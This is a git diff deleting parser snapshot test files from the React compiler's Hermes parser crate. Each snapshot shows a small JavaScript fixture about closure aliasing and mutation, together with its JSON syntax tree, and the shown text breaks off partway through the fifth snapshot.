diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate-arr.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate-arr.js.snap
deleted file mode 100644
index c9ff7219df01..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate-arr.js.snap
+++ /dev/null
@@ -1,477 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate-arr.js
----
-Input:
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = [y];
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            22
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            24,
-            27
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        43,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    60,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  56,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              68
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "init": {
-                            "type": "ArrayExpression",
-                            "elements": [
-                              {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  99,
-                                  100
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              98,
-                              101
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            94,
-                            101
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        90,
-                        102
-                      ]
-                    },
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              111,
-                              112
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              115,
-                              116
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            111,
-                            116
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        107,
-                        117
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              122,
-                              123
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              124,
-                              125
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            122,
-                            125
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            128,
-                            129
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          122,
-                          129
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        122,
-                        130
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    134
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  72,
-                  134
-                ],
-                "loc": null,
-                "range": [
-                  72,
-                  134
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                71,
-                137
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              71,
-              138
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  141,
-                  147
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    149
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                141,
-                150
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              141,
-              151
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                161,
-                162
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              163
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          29,
-          165
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        165
-      ],
-      "loc": null,
-      "range": [
-        0,
-        165
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    165
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate.js.snap
deleted file mode 100644
index 23029526a6a6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-captured-mutate.js.snap
+++ /dev/null
@@ -1,499 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-captured-mutate.js
----
-Input:
-function component(foo, bar) {
-  let x = { foo };
-  let y = { bar };
-  (function () {
-    let a = { y };
-    let b = x;
-    a.x = b;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "foo",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            22
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "bar",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            24,
-            27
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    37,
-                    38
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          43,
-                          46
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        43,
-                        46
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    41,
-                    48
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  37,
-                  48
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              33,
-              49
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          62,
-                          65
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        62,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    60,
-                    67
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  56,
-                  67
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              52,
-              68
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              94,
-                              95
-                            ]
-                          },
-                          "init": {
-                            "type": "ObjectExpression",
-                            "properties": [
-                              {
-                                "type": "Property",
-                                "key": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    101
-                                  ]
-                                },
-                                "value": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    101
-                                  ]
-                                },
-                                "kind": "init",
-                                "method": false,
-                                "shorthand": true,
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  100,
-                                  101
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              98,
-                              103
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            94,
-                            103
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        90,
-                        104
-                      ]
-                    },
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "b",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              113,
-                              114
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              117,
-                              118
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            113,
-                            118
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        109,
-                        119
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              124,
-                              125
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              126,
-                              127
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            124,
-                            127
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            130,
-                            131
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          124,
-                          131
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        124,
-                        132
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    84,
-                    136
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  72,
-                  136
-                ],
-                "loc": null,
-                "range": [
-                  72,
-                  136
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                71,
-                139
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              71,
-              140
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  143,
-                  149
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                143,
-                152
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              143,
-              153
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                163,
-                164
-              ]
-            },
-            "loc": null,
-            "range": [
-              156,
-              165
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          29,
-          167
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        167
-      ],
-      "loc": null,
-      "range": [
-        0,
-        167
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    167
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-computed-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-computed-mutate.js.snap
deleted file mode 100644
index 3902a1e7c0b7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-computed-mutate.js.snap
+++ /dev/null
@@ -1,343 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-computed-mutate.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y["x"] = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "property": {
-                            "type": "StringLiteral",
-                            "value": "x",
-                            "loc": null,
-                            "range": [
-                              78,
-                              81
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            76,
-                            82
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            85,
-                            86
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          76,
-                          86
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        87
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    91
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  58,
-                  91
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  91
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                57,
-                94
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              95
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  98,
-                  104
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    105,
-                    106
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                98,
-                107
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              98,
-              108
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                118,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              111,
-              120
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          122
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        122
-      ],
-      "loc": null,
-      "range": [
-        0,
-        122
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    122
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-mutate.js.snap
deleted file mode 100644
index 0398649aa6ba..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-mutate.js.snap
+++ /dev/null
@@ -1,344 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-mutate.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    y.x = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    51,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "AssignmentExpression",
-                        "operator": "=",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              77
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              78,
-                              79
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            76,
-                            79
-                          ]
-                        },
-                        "right": {
-                          "type": "Identifier",
-                          "name": "x",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            82,
-                            83
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          76,
-                          83
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        76,
-                        84
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    70,
-                    88
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  58,
-                  88
-                ],
-                "loc": null,
-                "range": [
-                  58,
-                  88
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                57,
-                91
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              92
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  95,
-                  101
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    102,
-                    103
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                95,
-                104
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              95,
-              105
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                115,
-                116
-              ]
-            },
-            "loc": null,
-            "range": [
-              108,
-              117
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          119
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        119
-      ],
-      "loc": null,
-      "range": [
-        0,
-        119
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    119
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-computed-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-computed-mutate.js.snap
deleted file mode 100644
index 2f555b5d8055..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capturing-func-alias-receiver-computed-mutate.js.snap
+++ /dev/null
@@ -1,383 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capturing-func-alias-receiver-computed-mutate.js
----
-Input:
-function component(a) {
-  let x = { a };
-  let y = {};
-  (function () {
-    let a = y;
-    a["x"] = x;
-  })();
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
